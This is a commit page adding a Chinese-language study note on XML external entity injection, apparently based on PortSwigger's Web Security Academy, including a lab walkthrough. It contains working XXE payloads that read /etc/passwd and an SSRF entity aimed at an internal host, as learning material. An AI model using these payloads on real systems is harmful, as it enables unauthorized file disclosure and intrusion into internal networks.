Skip to content

Commit d2449a5

Browse files
committed
Docs: add XXE content
1 parent a463fdb commit d2449a5

1 file changed

Lines changed: 104 additions & 0 deletions

File tree

Server-side/XXE_Injection.md

Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
# XML external entity (XXE) injection
2+
3+
By: 1PingSun
4+
5+
Ref: [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
6+
7+
---
8+
9+
在本節中,我們將解釋什麼是 XML 外部實體注入,描述一些常見的範例,說明如何找到並利用各種類型的 XXE 注入,並總結如何防範 XXE 注入攻擊。
10+
11+
## 什麼是 XML 外部實體注入?
12+
13+
XML 外部實體注入(也稱為 XXE)是一種網路安全漏洞,允許攻擊者干擾應用程式對 XML 資料的處理。它通常允許攻擊者檢視應用程式伺服器檔案系統上的檔案,並與應用程式本身能夠存取的任何後端或外部系統進行互動。
14+
15+
在某些情況下,攻擊者可以利用 XXE 漏洞執行伺服器端請求偽造(SSRF)攻擊,將 XXE 攻擊升級為入侵底層伺服器或其他後端基礎設施。
16+
17+
![alt](src/image9.png)
18+
19+
圖片來源:[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
20+
21+
## XXE 漏洞是如何產生的?
22+
23+
有些應用程式使用 XML 格式在瀏覽器和伺服器之間傳輸資料。執行此操作的應用程式幾乎總是使用標準函式庫或平台 API 來處理伺服器上的 XML 資料。XXE 漏洞會產生,是因為 XML 規範包含各種潛在危險的功能,而標準解析器會支援這些功能,即使應用程式通常不使用它們。
24+
25+
::: info **延伸閱讀**
26+
27+
* [了解 XML 格式、DTD 和外部實體](https://portswigger.net/web-security/xxe/xml-entities)
28+
:::
29+
30+
XML 外部實體是一種自訂 XML 實體,其定義值從宣告它們的 DTD 外部載入。從安全角度來看,外部實體特別值得關注,因為它們允許根據檔案路徑或 URL 的內容來定義實體。
31+
32+
## XXE 攻擊的類型有哪些?
33+
34+
XXE 攻擊有多種類型:
35+
36+
* [利用 XXE 擷取檔案](https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files),其中定義包含檔案內容的外部實體,並在應用程式的回應中回傳。
37+
* [利用 XXE 執行 SSRF 攻擊](https://portswigger.net/web-security/xxe#exploiting-xxe-to-perform-ssrf-attacks),其中基於指向後端系統的 URL 定義外部實體。
38+
* [利用盲注 XXE 進行頻外資料滲漏](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-exfiltrate-data-out-of-band),其中敏感資料從應用程式伺服器傳輸到攻擊者控制的系統。
39+
* [利用盲注 XXE 透過錯誤訊息擷取資料](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages),其中攻擊者可以觸發包含敏感資料的解析錯誤訊息。
40+
41+
## 利用 XXE 擷取檔案
42+
43+
要執行從伺服器檔案系統擷取任意檔案的 XXE 注入攻擊,您需要以兩種方式修改提交的 XML:
44+
45+
* 引入(或編輯)`DOCTYPE` 元素,定義包含檔案路徑的外部實體。
46+
* 編輯 XML 中會在應用程式回應中回傳的資料值,以使用已定義的外部實體。
47+
48+
例如,假設一個購物應用程式透過向伺服器提交以下 XML 來檢查產品的庫存水準:
49+
50+
```xml
51+
<?xml version="1.0" encoding="UTF-8"?>
52+
<stockCheck><productId>381</productId></stockCheck>
53+
```
54+
55+
該應用程式對 XXE 攻擊沒有採取特殊的防護措施,因此您可以透過提交以下 XXE 載荷來利用 XXE 漏洞擷取 `/etc/passwd` 檔案:
56+
57+
```xml
58+
<?xml version="1.0" encoding="UTF-8"?>
59+
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
60+
<stockCheck><productId>&xxe;</productId></stockCheck>
61+
```
62+
63+
此 XXE 載荷定義了一個外部實體 `&xxe;`,其值為 `/etc/passwd` 檔案的內容,並在 `productId` 值中使用該實體。這會導致應用程式的回應包含該檔案的內容:
64+
65+
```
66+
Invalid product ID: root:x:0:0:root:/root:/bin/bash
67+
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
68+
bin:x:2:2:bin:/bin:/usr/sbin/nologin
69+
...
70+
```
71+
72+
::: info Note
73+
74+
在真實世界的 XXE 漏洞中,提交的 XML 中通常會有大量的資料值,其中任何一個都可能在應用程式的回應中使用。要系統性地測試 XXE 漏洞,您通常需要個別測試 XML 中的每個資料節點,透過使用您定義的實體並查看它是否出現在回應中。
75+
:::
76+
77+
::: tip Lab: [Exploiting XXE using external entities to retrieve files](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files)
78+
79+
1. 題目說明在 "Check stock" 功能的地方能夠解析輸入的 XML。需存取 `/etc/passwd` 檔案以通過 Lab。
80+
2. 嘗試在網站中點擊 "Check stock",其會發送至 API `/product/stock`。請求 Body 如下:
81+
```xml
82+
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
83+
```
84+
3. 進行 XXE Injection,修改請求 Body:
85+
```xml
86+
<?xml version="1.0" encoding="UTF-8"?>
87+
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
88+
<stockCheck><productId>&xxe;</productId><storeId>
89+
1</storeId></stockCheck>
90+
```
91+
4. 成功取得 `/etc/passwd` 檔案內容。
92+
:::
93+
94+
## 利用 XXE 執行 SSRF 攻擊
95+
96+
除了擷取敏感資料外,XXE 攻擊的另一個主要影響是它們可以用來執行伺服器端請求偽造(SSRF)。這是一個潛在的嚴重漏洞,其中伺服器端應用程式可能被誘導向伺服器可以存取的任何 URL 發出 HTTP 請求。
97+
98+
要利用 XXE 漏洞執行 SSRF 攻擊,您需要使用想要攻擊的 URL 定義外部 XML 實體,並在資料值中使用定義的實體。如果您可以在應用程式回應中回傳的資料值中使用定義的實體,那麼您將能夠在應用程式的回應中查看來自該 URL 的回應,從而與後端系統獲得雙向互動。如果不能,那麼您只能執行盲注 SSRF 攻擊(這仍然可能帶來嚴重後果)。
99+
100+
在以下 XXE 範例中,外部實體將導致伺服器向組織基礎設施內的內部系統發出後端 HTTP 請求:
101+
102+
```xml
103+
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
104+
```

0 commit comments

Comments
 (0)